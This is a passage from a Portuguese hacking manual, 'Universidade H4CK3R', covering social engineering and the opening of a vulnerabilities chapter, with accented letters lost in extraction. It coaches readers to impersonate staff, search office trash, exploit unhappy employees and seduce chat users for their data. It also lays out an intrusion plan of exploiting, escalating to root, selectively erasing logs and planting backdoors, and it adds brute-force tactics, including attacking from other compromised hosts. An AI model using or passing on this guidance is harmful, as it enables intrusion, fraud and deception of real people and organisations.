Universidade 1Ano
Tipos de ataque
Existem basicamente dois tipos de ataques: o direto e o indireto. A eficincia
deles depende das habilidades pessoais do hacker e do quanto ele se identifica
com os processos. Normalmente, necessrio utilizar uma combinao de am-
bos para obter o resultado desejado. Para chegar abordagem direta, o invasor
deve ter conseguido uma bela coleo de informaes obtidas de modo indireto.
S assim poder "saber do que est falando" quando abordar um funcionrio do
teleatendimento para conseguir uma senha de acesso ao sistema ou enviar aque-
le fax dizendo que o gerente da filial solicitando informaes.
Ataque indireto
o ataque indireto consiste na utilizao de ferramentas de invaso (como
cavalos de tria e sites com cdigo malicioso) e de impostura (como cartas,
e-mails e sites falsos com a aparncia dos verdadeiros) para obter informaes
pessoais. Os usurios individuais de quem o hacker extrai os dados so apenas
vetores para a coleta de informaes de uma entidade maior - empresa, orga-
nizao ou governo. Sua inteno no atacar cada um desses usurios, e sim o
organismo maior ao qual elas pertencem.
Ataque direto
So caracterizados pelo contato pessoal. Geralmente so feitos por fax ou
telefone (embora hackers mais confiantes ousem faz-Ios pessoalmente...) e
exigem planejamento detalhado e antecipado, vrios planos de emergncia
para cada uma das fases do ataque previamente planejadas e um pouco de
dom artstico. Sim, um bom invasor tem a obrigao de ser bom ator. Este deve
ser bem articulado para que seu plano no seja desmascarado, e tambm ter
raciocnio rpido para encontrar sadas caso algo fora do planejado d errado.
Mtodos utilizados
bvio que todo esse falatrio sobre ataques diretos e indiretos extrema-
mente vago. Na prtica, existem algumas tticas simples que devem ser usadas
na elaborao do procedimento de ataque. As principais armas de um engenhei-
ro social podem ser divididas em dois grandes grupos: pesquisa e impostura.
Comecemos pela pesquisa. A aquisio de material, como relatrios anuais e
lista de pagamento, pode dar uma tima viso da hierarquia adotada na empresa.
Isso ajuda muito na hora da seleo dos alvos pontuais (lembre-se: um pedacinho
de informao extrado de cada usurio resulta em um bolo valiosssimo quando
reunido s outras pequenas informaes extradas dos outros usurios). O hacker
pode descobrir quem detm o material necessrio para a invaso e outras informa-
es importantes para o ataque, como departamento em que a pessoa trabalha,
softwares utilizados, sistema operacional, hardware e sistemas empresariais.
1125 I
] Engenharia Social
I Universidade H4CK3R I
Observe que nem sempre os dados teis esto escritos: uma anlise dos resulta-
dos de sua busca, compreendendo combinaes e cruzamento de informaes,
importantssima. "Ler nas entrelinhas" nunca foi to necessrio...
Mesmo assim, a pesquisa s o comeo. Depois de descobrir quem guarda as
informaes e quais so elas, o hacker deve pensar nos meios que utilizar para
extrair mais dados. nesse ponto que entra a impostura: o hacker deve se fazer
passar por outras pessoas (seja da prpria empresa, seja clientes, fornecedores,
seja at agentes do governo) para, de posse das informaes j "garimpadas", anga-
riar dados e documentos mais srios, especficos e, principalmente, valiosos.
A seguir vamos falar sobre mtodos utilizados para a aquisio de dados
vitais das empresas, tanto em ataques diretos quanto indiretos.
Disfarces
Como um bom espio, o engenheiro social deve dispor de diversos disfarces
para alcanar seus objetivos. Entre eles devem constar desde se passar por
faxineiro at consultor em visita. Certas empresas adoram receber consultores
de empresas famosas. Para tanto, basta apenas que o hacker tenha um terno,
boa lbia e um crach. O fator idade no mais um problema to grande, pois o
perfIl do profIssional de informtica cada vez mais jovem, basta apenas tratar
um pouco da aparncia e da linguagem a ser utilizada.
A incorporao do personagem um fator de grande importncia para o su-
cesso. Imagine um hacker disfarado de faxineiro. Ele simplesmente no vai
andar at a lata de lixo, separar os papis de seu interesse e virar as costas, ser
at estranho se ningum suspeitar. Ele deve fazer todo o servio desde limpar a
mesa at varrer o cho, conseguindo mais oportunidades para entender o que
acontece ao seu redor. Depois de um certo tempo, as pessoas passam a confIar
mais e o invasor pode tranqilamente limpar as mesas repletas de material im-
portante para o desenvolvimento de um ataque bem-sucedido.
o Lixo rico!
o lixo de um escritrio , potencialmente, uma das maiores fontes de informa-
es para o hacker. Geralmente nele que as pessoas jogam aqueles pedaos de
papis em que anotam suas senhas antes de memoriz-Ias ou transcrever para
uma agenda. Alm disso, o lixo de uma grande empresa recebe dezenas de relat-
rios que podem parecer banais mas que, na verdade, guardam informaes sobre
o patrimnio da empresa, funcionrios cadastrados e aspectos dos sistemas.
A falta de preocupao s com esse fator isolado pode render uma invaso
bem-sucedida e ainda ajudar o invasor a limpar seus rastros. Muitas vezes, ele
mesmo pode estar l para recolher o lixo da sala do administrador. Obviamen-
te, isso depende muito da percia do hacker e do quanto ele realmente precisa
das informaes, caso contrrio, ele pode esperar at que o material seja posto
para coleta, o que no seria muito recomendado.
1126I
EngenhariaSocialI
Universidade 1Ano
Funcionrios descontentes e redes de contatos
Talvez seja a fonna mais fcil de conseguir infonnaes dentro de uma empresa. Mui-
tas vezes POde rustar um certo valor (nem sempre em dinheiro...), mas isso vai dePender
do teor de insatisfao do fundonrio para com a empresa em questo. Explorar a ftagi-
lidade de pessoas insatisfeitas com as condies de trabalho muito mais simples do que
POdemos imaginar. muito fcil para o administrador insatisfeito com o salrio falar algo
que possa prejudicar seus superiores de alguma fonna. Nem sempre eles so teis aps
sarem ou serem demitidos, pois a poltica das empresas a de trocar as senhas.
No se deve esquecer que os funcionrios de uma empresa possuem uma
rede de contatos, dentro e fora dela. Isso tambm vlido para os descon-
tentes, que podem fornecer ao hacker informaes valiosas sobre outras pes-
soas e sobre caminhos para chegar a mais dados.
o apelo sentimental
o invasor pode incorporar outra pessoa, com muito mais facilidade, no mundo virtu-
al.Vamos supor que o hacker quer invadir um computador qualquer na Internet. Ele
procura uma sala de chat e observa silendosamente a conversa por um tempo. Depois,
sai da sala e entra novamente com algum apelido do sexo oposto ao da vtima escolhi-
da. A partir desse ponto fcil conquistar a confiana do internauta e ganhar acesso
aos seus dados pessoais mais importantes, usando apenas as tcnicas de seduo e
conquista que todos ns conhecemos e que, mesmo assim, fundonam. Observe que
homens e mulheres possuem maneiras diferentes de serem conquistados e seduzidos.
Programao neurolingstica
Ao se comunicar com qualquer pessoa, possvel utilizar tcnicas de programao
neurolingstica para confundir a pessoa e faz-la concordar com voc. Consegue-se
isso de diversas formas, sendo a mais bvia (e que funciona em quase 100% dos casos)
fazer com que a vtima acredite que na realidade a idia foi dela. Uma das tcnicas para
confundir a vtima a chamada acompanha-acompanha-acompanha-comanda: o
hacker imita o jeito de escrever, de falar e at a gesticulao de seu interlocutor. Faz isso
por um bom tempo durante a conversa, at que um elo de intimidade se forme e a
vtima pense que est no comando, baixando a guarda. A partir da, o hacker pode
comandar a conversa sem que a vtima perceba e sugar dela tudo o que for necessrio.
A utilizao da Internet
Uma forma eficaz de conseguir as informaes desejadas atravs de formul-
rios e cadastros na Internet. Sites que oferecem brindes para quem se cadastrar
e promoes que prometem os mais variados tipos de prmios podem no pas-
sar de instrumentos utilizados pelos hackers para conseguir uma vasta quantida-
de de informaes sobre os internautas. Entre elas, esto dados pessoais e dicas
sobre o comportamento da futura vtima. Essa tcnica utilizada principalmen-
te para a obteno de nmeros de cartes de crdito e dados como CPF e RG.
11271
] Engenharia Social
IUniversidade H4CK3R I
o fator sorte
H muitos casos em que os procedimentos de engenharia social so facilita-
dos por descuidos dos usurios e dos administradores do parque de informtica
das empresas. s vezes, mesmo empresas muito seguras deixam escapar uma, e
apenas uma, informao no bvia. Se o hacker tiver a sorte de tropear nessa
informao, seu processo de engenharia social poder ser abreviado em vrios
dias, s vezes semanas. Oreille attentive et bon vouloir!2
Navegando pelo mar proibido
Mesmo depois de invadidos, um computador, um site ou uma empresa so um
quebra-cabea complicado para o invasor. At ento este possua as informa-
es sobre a periferia. Agora ele tem acesso irrestrito a todas as reas do local
invadido, mas que para ele se parece mais com um labirinto. O controle de
acesso e usurios internos de empresas, por exemplo, normalmente menos
rigoroso que os procedimentos de segurana das partes visveis externamente
(site, e-mail, gateways e Internet). Mas ainda assim, uma vez dentro, o invasor
dever quebrar senhas, contornar dispositivos de segurana ou mesmo utilizar
novamente a engenharia social para obter informaes cada vez mais prxi-
mas do ncleo. Este um processo sem ftm' ;-)
Casosreais
Os hackers listados nesta "galeria da fama" ganharam notoriedade por seus
ataques muito bem engendrados e pelas somas fabulosas em dinheiro que foram
capazes de movimentar. Mas lembre-se: hackers, quando so realmente bons, no
so apanhados...
Abraham Abdallah
Em 2002, o hacker e.lavador de pratos Abraham Abdallah recebeu acusaes
de fraudes da ordem de US$ 80 milhes. Utilizando-se da revista Forbes, que
publicou uma lista com as 400 pessoas mais ricas dos EUA,ele roubou o nmero
de diversos cartes de crdito de pessoas famosas. Utilizando tcnicas de enge-
nharia social, Abdallah enganou bancos e empresas de crdito para conseguir as
informaes para o seu golpe.
Chegou a montar uma rede de caixas postais para receber as encomendas
que fazia com o dinheiro roubado. Foi descoberto pela polcia ao tentar retirar
uma quantia acima do saldo existente de Thomas Siebel, fundador da empresa
de e-commerce chamada Siebel Systems.
2 "Orelha atenta e boa vontade"" - expresso muito empregada no texto As Mil e Uma Noites -
Narrativas de Sabedoria (Les Mille et Une Nuits - Rcits Sapientiaux. Traduo para o francs de Ren
R. Khawam, ditions Albin Michel, Frana). O original em rabe impronuncivel para os ocidentais.
1128 I
Engenharia Social [
Universidade 1Ano
Kevin Mitnick
Kevin Mitnick j foi um dos criminosos mais procurados pelo FEI, devido aos
crimes digitais que cometeu. Aps ganhar a liberdade, ajudou a fundar uma
empresa de consultoria especializada em segurana, a Defensive Thinking. Esse
um fato que chega a surpreender muito, pois Mitnick tomou-se um smbolo
da engenharia social ao planejar e realizar seus ataques aos sistemas de gran-
des empresas pelo mundo.
Ele usou as artimanhas da engenharia social pela primeira vez nos anos 70, ao
conhecer um estudante que lidava com "phreaking" (o hackeamento de linhas
telefnicas). Ele percebeu como os phreakers agiam, fazendo-se passar por llll-
cionrios das companhias telefnicas. Comeou a tentar com amigos e profes-
sores e sentiu-se motivado aps notar que tinha facilidade em conseguir infor-
maes confidenciais. Ele foi evoluindo suas tticas at o ponto em que nenhu-
ma empresa estava mais segura contra os seus ataques.
Sua lista de ataques inclui desde telefonemas inocentes ao setor de suporte
at a incorporao de funcionrios importantes para conseguir informaes
como senhas para obter acesso a grandes sistemas da empresa. Dessa forma,
Mitnick tornou-se uma lenda para a populao hacker ao redor do mundo.
Alm desses, podemos citar, com louvor, outros hackers que se utilizaram de
engenharia social para atingir seus objetivos:
~O polons VIadimir Levin, que desviou mais de dez milhes de dlares de
contas no CityBank;
~Raphael Gray,que roubou quase 30 mil cartes de crdito nos Estados Uni-
dos e, com um deles (que ele alega ser de Bill Gates), comprou uma caixa de
Viagra e a remeteu ao prprio;
~Jerome Heckenkamp, ingls de 22 anos, que pediu ao juiz para ser preso
depois de invadir sites como o eBay,Lycos e eTrade;
Poderamos preencher completamente este livro citando diversos hackers
famosos (inclusive brasileiros). Apenas estes exemplos, entretanto, mostram
como as estruturas de segurana, que j so ruins no campo tecnolgico, ficam
piores quando o fator humano entra em campo.
1129I
] Engenharia Social
Vulnera bilidad es
Captulo
"! am a world's forgotten boy
The one who searches and destroys
Look out honey, 'cause /'m using technology
Ain 'tgot time to make no apology"i
The Stooges, "Search and Destroy"
J "Eu sou um g'aroto esquecido pelo mundo / Aquele que
vasculha e destroi / Estou usando tecnoJog'ia / E por isso no
tenho tempo para me desculpar': Do album Ilaw Power. 1973.
I Universidade H4CK3R I
Imagine uma nao como os Estados Unidos da Amrica. Forte, rica, militar-
mente imbatvel, tecnologicamente muito frente de qualquer outra. muito
difcil imaginar que uma nao como essa perca uma guerra sendo travada em
algum pas distante. Mesmo que, por algum motivo, perca tal guerra, os disposi-
tivos nacionais de defesa nunca deixariam que um ataque qualquer (militar ou
terrorista) chegasse perto das fronteiras do pas. Certo?
Bem, 11 de setembro deixou claro que ningum pode prever tudo. Os terroris-
tas atacaram por onde foi mais fcil, usando pessoas comuns - cidados ameri-
canos - e atuando em pontos reconhecidamente vunerveis - a fraca segurana
dos aeroportos. Quem poderia imaginar que avies comerciais seriam usados
como msseis para derrubar as torres do World Trade Center em Nova York? Se
pensarmos bem, a idia to insana que chega a ser genial (do ponto de vista
dos terroristas, obviamente): foi deveras fcil causar todo aquele dano.
Administradores de sites e de redes e mesmo ns, usurios comuns de
informtica, temos o mesmo dilema. Aplicamos correes de segurana libera-
dos pelos desenvolve dores dos programas que usamos, instalamos flrewalls, anti-
vrus, removedores de trojans e toda uma parafernalha tecnolgica para desco-
brir, depois de alguns dias, que no adiantou nada: bastou um garoto de 12 anos
com muita vontade e ms intenes para invadir nossos sistemas e fazer um
belo estrago.
Infelizmente mesmo o usurio leigo deve se preocupar com a segurana de
suas informaes e sistemas de informtica. Hoje no basta trocar a fechadura
da porta: se o seu forro for de madeira, os ladres entram pelo teto. Assim como
devemos modillcar (desflgurar?) nossas casas para torn-Ias mais seguras, te-
mos de estar atentos a todos os buracos no bvios que os programas os quais
usamos apresentam para os terrveis chapus pretos2.
Noces sobre vulnerabilidades
I
o estudo das vulnerabilidades existentes deve fazer parte da rotina do bom hacker
(err... do mau tambm...). Diariamente, listas de discusso e sites especializados
liberam listas e mais listas de falhas em sistemas operacionais e servidores. Consi-
derando que, se voc est lendo este livro e est neste captulo, voc est querendo
aprender. Utilizar-sede tcnicas j conhecidas e divulgadas o trampolim para, no
futuro, descobrir essas vulnerabilidades antes dos organismos de defesa. Mesmo um
hacker experiente tem de estar atento a essas listas, caso algum usurio queira
facilitar seu trabalho e deixar seu computador desatualizado.
2 No captulo 1, Psicologia Hacker, vimos diversos tipos de hackers divididos por habilidade. Mas o grande
universo do submundo digital pode ser dividido, sem levar em conta as habilidades individuais, entre a comunidade
do bem e a legio do mal. Os do primeiro tipo so chamados de chapus brancos, ou white hats. J os malidosos
se autodenominam chapus pretos, ou black hats. H os que trabalham no limiar dos dois tipos e so
chamados de grey hats (chapus cinzas). Em tempo: a Red Hat, Ine. (www.redhat.com) no tem nada com isso...
1132I
Vulnerabilidades I [
Universidade 1ano
Normalmente, h trs tipos de fafuas que podem ser exploradas:
1. Fafuas que afetam a disponibilidade da mquina ("tir-Ia do ar"). Isso pode
ser feito de diversas maneiras, uma delas (mas no a nica) a negao de
servio (ou DoS).
2. Falhas que permitem o acesso limitado ao sistema. o que comumente
chamamos de "invaso". Nela incluem-se fafuas do software e falhas de configu-
rao (ou seja, humanas).As falhas de software mais comuns podem ser explo-
radas diretamente ou por algum tipo de estouro de pilha (o famigerado buffer
overflow). J a falha humana mais comum instalar o sistema e no aplicar as
atualizaes e patches recomendados pelo fabricante. Tambm comum dei-
xar as contas-padro do sistema (administrador, root, bin, operator, sysop... a
lista grande) ativas ou com as senhas default.
3. Falhas que permitem a execuo de cdigo arbitrrio na mquina. Pode ser
o passo seguinte do tipo anterior, ou pode ser explorado diretamente por algum
tipo de exploit, sendo o buffer overflow muito comum.
H outros tipos de fafuas, mas no fundo so especializaes desses trs gran-
des grupos. Se o seu objetivo ser um usurio ou administrador bem informado,
estar atento s listas de segurana um bom ponto de partida, uma vez que a
maioria esmagadora dos autodenominados hackers/crackers no passam de
moleques com vontade de pichar alguma coisa. Tais fedelhos normalmente no
conhecem nada muito alm do divulgado nessas listas. sua obrigao SEMPRE
atender aos apelos do seu fabricante de software e atualizar os programas que
voc usa para ficar imune a essas fafuas. Se no o fizer, o azar seu: vai ficar
merc de adolescentes com muuuito tempo livre...
Superlammers e sua viso de Raio-X
Qualquer falha de segurana possui caractersticas nicas. Cada sistema
operacional e cada programa autnomo apresenta as suas, mas grande parte das
vulnerabilidades permite o acesso a reas consideradas restritas de servidores
e computadores pessoais - trocando em midos, toda estrutura de diretrios de
todos os discos rgidos.
O grande problema dos lammers que eles no tm a mnima idia do que esto
fazendo. Enem querem ter: basta encontrar algum site desprotegido, desfigur-Ioe
gozar dos seus cinco minutos de fama. Com seus conhecimentos limitados, normal-
mente usam uma abordagem de trs estgios para direcionar seus ataques:
1. Busca por computadores vulnerveis
Lammers normalmente no possuem um objetivo definido. No esto atrs de
prejudicar aquela companhia ou roubar o dinheiro daquele banco. Pelo contr-
rio, vasculham a Internet atrs de computadores (seja servidores, seja pessoais)
que estejam vulnerveis aos poucos tipos de ataque que eles conhecem. Para
tanto, utilizam-se de ferramentas conhecidas como scanners, que, aps forne-
1133I
]Vulnerabilidades I
IUniversidade H4CK3R I
cer um conjunto de mquinas a ser testado, retomam listas s que estiverem
desprotegidas. Como possvel colocar faixas inteiras de endereos de Internet
neles, essas listas podem chegar a centenas de computadores e sistemas.
2. Invaso e posse
Mas descobrir as vulnerabilidades no o suficiente para executar um ataque.
Uma vez encontrado o alvo fcil, os script-kiddies (outro nome dado aos lammers)
utilizam-se de outras ferramentas para explorar os buracos encontrados. Nor-
malmente, nossos garotos tm em mos uma biblioteca razovel de exploits -
scripts e programas utilizados para "desfrutar" das fraquezas da vtima - para
que sua descoberta no seja em vo. H exploits para "derrubar" a mquina-alvo
e para control-Ia.Aplicado o exploit apropriado, o lammer "owna"3 o sistema e
faz o que quer com ele.
3. Manuteno do ataque
O lammer sabe que sua glria durar pouco e, portanto, instala no computa-
dor invadido programas que lhe permitam voltar l, mesmo que o buraco por
onde entrou seja obstrudo. Chamados de backdoors - literalmente, porta de
trs -, so rotinas extremamente simples e eficientes que, utilizando os recur-
sos do prprio sistema operacional, permitem ao invasor conectar-se posteri-
ormente ao sistema. comum instalar mais de um backdoor, e kiddies mais
sofisticados chegam ao cmulo de instalar entre eles algum facilmente
detectvel. Isso confunde o administrador da mquina, fazendo-o acreditar que
resolveu o problema removendo apenas aquele.
Note que este livro tem a inteno de apresentar a porta de entrada desse
submundo ao leitor. Nenhum livro, publicao, site ou FAQna Internet ensinar
ningum a ser hacker, pois isso depende de anos de estudo, evoluo contnua e
abnegao. Neste captulo, vamos estudar algumas ferramentas e falhas de segu-
rana mais comuns em micros domsticos e como explor-Ias da forma mais
eficaz. Obviamente, aqui ainda estaremos no terreno dos lammers. Mas mesmo
sendo procedimentos tecnicamente simples, veremos que no so nada incuos.
Os quatro passos para um hacking feliz
Voc j fez toda a parte de Engenharia Social (que seria o passo zero desta
lista) na vtima. Ou encontrou uma vtima por acaso em suas longas noites de
busca a esmo pela Internet.J descobriu onde esto as brechas e que ferramen-
tas usar. S lhe resta invadi-Ia, mas a pergunta : como? Ser fcil? Ser que no
uma armadilha? Ser que o meu scanner me enganou?
A resposta para tudo isso planejamento. Os passos a seguir foram compi-
lados de diversos relatos de hackers/crackers. No tm a inteno de ser uma
cartilha, mas podem servir de base para a mmtagem de ataques bem-sucedi-
3 Tomar posse da mquina invadida, desfigurando-a ou recuperando dados secretos, no jargo aceito
pelos kiddies.
11341
Vulnerabilidades I r
Universidade 1ano
dos. So destinados a ataques a redes de empresas, mas possvel adapt-Ios para
atacar computadores pessoais solitrios, tambm.
1. Uma vez descoberta a vulnerabilidade, no tente invadir sua presa imedia-
tamente. Ao contrrio, conhea sua vtima. Visite seu site na Internet (sem ata-
car, apenas olhe). Se for na sua cidade, visite sua sede e tente descobrir mais
sobre produtos, empregos, servios, funcionrios, hbitos... Podem-se usar tc-
nicas passivas (observao para ver o que entra e o que sai da mquina ou
rede) ou ativas, como organizar miniataques a pontos isolados e verificar as
mensagens que so retornadas. O importante coletar informaes suficientes
para elaborar um plano de ao, preferencialmente com desfechos alternati-
vos, caso algo d errado.
2. O primeiro acesso a gente nunca esquece. Essa a parte mais importante do
ataque. Pode-se dizer que esta etapa o ataque propriamente dito. Depois de des- .
coberta a vulnerabilidade e examinado o comportamento da vtima, use o exploit
apropriado para ganhar acesso limitado ao sistema. E no se esquea de usar um
proxy pblico para esconder seu endereo IP!!!
3. Humm. Uma vez com acesso limitado, a prxima etapa consiste em ganhar
acesso total mquina (root para sistemas Unix, administrador para sistemas WinNT
- no Win9x, o primeiro acesso j garante controle totaL). Cada SO possui procedi-
mentos diferentes para tal. Uma vez conseguido o acesso irrestrito, basta coletar as
informaes desejadas e, se for o caso, desfigurar o sistema.
4. Agora que voc j "ownou" o sistema, trate de cobrir seus rastros e instalar as
portas de trs. Verifique os logs do sistema e apague tudo o que for relativo sua
visita, MASAPENASISSO! Resista tentao de apagar o log todo - um "buraco" no
registro de eventos far com que o administrador descubra mais cedo do que o
esperado que algum andou bulindo com seu brinquedo. Depois de fazer a cirurgia
nos logs, instale os backdoors. Alguns hackers mais experientes tm o cuidado de
aplicar patches no sistema para remover as portas que os deixaram entrar, evitan-
do assim que outros hackers menos habilidosos entrem no sistema e, por descuido,
alertem o administrador de que a mquina foi tomada.
Alguns dos passos devem ser repetidos, especialmente o 2. Em alguns casos
ser preciso fazer diversos miniataques "1 2 3 4", "1 2 3 4", at que todas as
brechas tenham sido encontradas e exploradas. Obviamente estamos falando
de sites e computadores frouxamente monitorados: tenha sempre em mente
que muitos sistemas possuem IDS (Intrusion Detection Systems), que detectam
scans e auditam os logs do sistema (o que voc apaga guardado em outro log
escondido...), aumentando assim a possibilidade de voc ser pego. H ainda os
sistemas chamados de Honeypots, que apresentam ao invasor uma aparncia
de sistema vulnervel, mas, na realidade, o conduzem para uma armadilha. Nin-
gum quer ir para a cadeia e, mesmo que no haja implicaes penais desse
tipo, ser pego sempre , no mnimo, desagradvel e desabonador. Alguns cuida-
dos devem ser, portanto, seguidos para que o invasor possa desfrutar de sua
presa sem ser importunado.
1135I
]Vulnerabilidades I
I Universidade H4CK3RI
Search and destroy
Agora que voc possui uma idia geral sobre como organizar um ataque
(lembre-se: PLANEJEANTES!!!),podemos apresent-Io a algumas ferramentas
que o ajudaro em seus ataques. Mas note bem: a velocidade com a qual as
armas so criadas e neutralizadas violenta! No se atenha aqui ao programa
em si, mas sim ao modo de usar uma ferramenta dessas para conduzir um
ataque. quase certo que tais ferramentas no sero eficazes, pois os compu-
tadores j estaro protegidos contra elas. Mas tambm certo que novos
softwares surgiro. Fique ligado!
Logins fracos
No h necessidade de ferramenta alguma, se quem instalou o software j fez o
servio para voc. Todos os sistemas possuem algumas contas-padro j configura-
das antes de o sistema ser instalado (ou seja, j na mdia de instalao). obrigao
de quem est preparando uma mquina para utilizao real saber quais so essas
contas e mudar as senhas das que sero usadas, desabilitando as restantes.
Tristemente, vemos diversos "administradores" por a que recebem seus
Windows 2000 e seus Unix diretamente do fornecedor e no se preocupam em
fazer uma anlise de segurana antes de colocar o equipamento em produo.
Para quem quer brincar de hacker, sistemas assim so um prato cheio. Mesmo
que as senhas sejam alteradas, saber que tais contas existem pode ser um
facilitador para o script kiddie, uma vez que metade da dupla j conhecida,
faltando apenas adivinhar a senha.
No CD, reunimos diversos conjuntos login/senha comuns, vlidos para a mai-
oria dos sistemas operacionais. Esto em formato texto e podem ser utilizados
como listas de palavras em quebradores de senhas. Logins cujas senhas no so
mostradas na lista so contas que existem mas para as quais no h uma
senha-padro consagrada. Experimente essas combinaes em sistemas conhe-
cidos seus. H sistemas nos quais voc, por engenharia social, j conhece algu-
mas contas, falta tentar alguma senha. Na maioria dos casos, uma das palavras
da lista acima usada como senha por algum.
Arrombando a porta da frente
Nos velhos e bons tempos, as pessoas no eram to ligadas em segurana, e furos
como os das contas e senhas-padro eram freqentes. Mas hoje todos so parani-
cos. H muito mais chances de voc deparr-se com um sistema em que todas as
contas-padro foram canceladas e para o qual engenharia. social no possvel.
Nesses casos, o hacker no tem outra alternativa seno tentar, uma por uma,
todas as combinaes de login e senha que ele puder imaginar. Por no deman-
dar inteligncia, mas trabalho braal, tal procedimento chamado de fora bruta
ou brute force. Faz-Iamanualmente impossvel, dadas as propores da tarefa,
ento os crackers normalmente usam programas que automatizam o processo.
1136I
Vulnerabilidades I [
Universidade 1ano
o brote force seguramente o mtodo mais deselegante de tentar uma inva-
so por login e senha. Voc pode fazer brote force no computador do seu ir-
mo, em casa, para descobrir as senhas dos arquivos Excel ou PDF,por exem-
plo. Ou pode tentar, via Internet, entrar naquele site de sexo com uma dupla
usurio/senha existente, em vez de buscar quebrar a segurana do site por
outras vias. Tambm pode experimentar entrar na rea restrita da rede de sua
empresa. De qualquer forma, o brote force deselegante, facilmente detectvel
e, em sistemas bem configurados, incuo.
No exemplo do site, um sistema de controle de acesso bem-feito cancelaria o
usurio ou travaria o login por um tempo determinado, caso mais de trs tenta-
tivas sem sucesso fossem feitas. Em situaes de war-dialing, necessrio discar
para o modem no qual se quer penetrar para cada tentativa de brote force, o
que o toma dispendioso em termos de dinheiro e tempo. Entretanto, h casos
(normalmente os mais difceis) em que o brote force a nica sada.
H um outro mtodo parecido, que pode ser considerado um brute force inte-
ligente: os ataques por dicionrios. Utilizam-se listas de palavras comuns: no-
mes prprios, marcas conhecidas, grias, nomes de canes, f1lmes...Os softwares
modernos de fora brota empregam ambos os processos, tentando primeiro a
lista de palavras para depois aplicar as combinaes seqenciais do brote for-
ce "primitivo".
Obviamente, o brote force um procedimento perigoso. Um administrador
de sistemas seguramente perceber que os logs de falhas de login crescem
assustadoramente, e que todas as tentativas vm de um nico IP.Um paleativo
colocar uma espera de alguns minutos entre uma tentativa e outra, mas isso vai
retardar ainda mais um processo que, normalmente, pode durar vrios dias ou
mesmo semanas. O procedimento mais sensato invadir vrios sistemas sem
importncia e disparar o brote force a partir deles (obviamente, sempre se
lembrando de apagar seus rastros).
Hackers mais experientes sabem que as listas de palavras devem ser
customizadas para cada alvo, e que, para ser considerada boa, uma lista deve
conter elementos conseguidos por engenharia social, como o nome completo
do usurio, de sua namorada, esposa ou fIlhos, seus passatempos, o modelo de
seu carro novo ou seu endereo. Informaes como estas so utilssimas, efeti-
vas em mais de 50% dos ataques - principalmente quando se tem um nmero
razovel de contas vlidas, bastando descobrir apenas a senha. Se o candidato a
invasor no souber pelo menos o login de uma conta vlida, quase certo que
suas tentativas sero infrotferas.
Sua lista de palavras deve conter nomes prprios do pas onde a mquina-alvo
se encontra. Livros como Que nome darei ao meu fIlho? ajudam muito nessa
hora, e conseguir edies desses livros em diversas lnguas um refInamento
importante da tcnica. Procurar na lista telefnica ou em sua agenda comercial
por nomes e anotaes de outras pessoa~ tambm uma boa idia.
1137I
I Vulnerabilidades I
IUniversidade H4CK3RI
Sempre tendo em mente que saber o login correto da vtima mais que meio
caminho andado, aqui vo as sugestes para aplicar como senha nesse login:
1. Sempre tente todos os nomes e sobrenomes da vtima, um por vez. Se o
login o primeiro nome, ou uma combinao de nomes, h muitas chances de
que a senha seja algum dos outros nomes, seguidos ou no de nmeros
seqenciais ou letras. _A, _B, _C ou -XYZ tambm so SufIXOScomuns (em mai-
sculas ou minsculas).
2. Se disponveis, tente as palavras conseguidas por engenharia social: namorada/
esposa, filhos, carro, passatempo, posies sexuais, nomes dos chefes... Emseguida,
tente os nomes prprios mais comuns copiados da agenda ou da lista telefnica.
3. Tambm uma boa idia tentar algo relativo ao sistema que est sendo
invadido. Se a mquina em questo a nica que possui AutoCAD em toda a
empresa, tente as senhas acad, autodesk, autocad ou cadcad. Se estiver em um
terminal de mainframes IBM, tente ibmibm, X3270, bigblue, X25. Em um VAX,
experimente vax, vms, digital ou compaq.
4. Usurios tambm so sensveis ao local onde trabalham. Experimente algu-
ma coisa relativa cidade, bairro ou rua onde a empresa se encontra, o prprio
nome da empresa ou seus produtos mais famosos. Em uma mquina da Telemar,
por exemplo, poderiam ser tentadas as senhas DDDeh31, velox ou interurbano.
s vezes, o funcionrio est desgostoso com a companhia. Sua senha nesses
casos costuma ser ou uma palavra de baixo calo ou algum produto da concor-
rncia (exemplo: um funcionrio da Conectiva possui a senha windowsxp).
5. Por ltimo, deve-se, separadamente, tentar suas listas de palavras e senhas
comuns. Nunca use listas com mais de cem palavras, pois voc ficaria exposto
demais e facilmente detectvel, alm de modularizar e especializar o ataque.
Um procedimento importante ao elaborar suas listas de palavras tentar pen-
sar da mesma maneira que o usurio. Caso ele fuja das combinaes comuns
(nome da esposa, ftlhos, etc.), sua senha ser o que primeiro lhe vier cabea,
ou o nome de algum objeto que est em sua escrivaninha.
No CD h diversos programas para brute force, a maioria com possibilidade
de se usar em tanto dicionrios quanto combinaes seqenciais. No vamos
recomendar nenhum aqui: teste-os e tire suas prprias concluses.
Sem quebrar o ovo no se faz omelete
Imagine a situao inversa da seo anterior. Voc j entrou numa mquina
Unix ouWindows NT/2k/XPe capturou o arquivo de senhas do sistema.Obvia-
mente essas senhas esto criptografadas, portanto, o arquivo pouco lhe ser til
se no fosse uma outra classe de programas que todo cracker deve ter: os
quebradores de senhas.
Na maioria das vezes, invade-se o sistema por algum descuido do administra-
dor, mas com um usurio cujos poderes so muito limitados. Roubando-se o ar-
quivo de senhas, possvel entrar nas reas privativas dos outros usurios (den-
138 I
Vulnerabilidades I r
Universidade 1ano
tro da mesma mquina ou na rede) e capturar informaes teis para um ataque
mais profundo, ou mesmo dados vitais, como senhas para outros servios, acesso
a reas restritas da empresa ou nmeros de carto de crdito. possvel tambm
conseguir a senha do administrador e reahnente "ownar" a mquina.
Arquivos de senhas criptografadas geralmente possuem hashes ao lado dos
logins. Hashes so uma seqncia de smbolos que, confrontados com a chave
criptogrfica correta, revela a senha do usurio. No Windows NT (e, posterior-
mente, no Windows 2000 e no XP) as senhas so armazenadas no registro. Um
exemplo de hash do Windows poderia ser:
maedinah: 1001 :3592C2B9967FD3A4976EED543AC98756C3C3CFA2:8903
AD475E3478C45D 15B1749777DCFD3CC4457:::
o primeiro campo , obviamente, o login do usurio. O segundo o ID nico
do usurio no sistema. Sistemas da famlia WinNT possuem tal identificao da
mesma forma que nos Unix, embora isso seja escondido dos usurios. Depois
temos dois grandes nmeros, que representam as senhas criptografadas do sis-
tema. A primeira a representao da senha para redes Microsoft antigas, com-
patveis com LANManager. Por isso mesmo, chamada de LMHash. Na verda-
de, nem a senha que criptografada. Do contrrio, o sistema gera dois nme-
ros hexadecimais, e esses nmeros so criptografados pelo padro DES (Data
Encryption Standard), usando como chave a senha, ajustada para 14 caracteres
(caso o usurio tenha escolhido uma senha menor, so aplicados enchimentos).
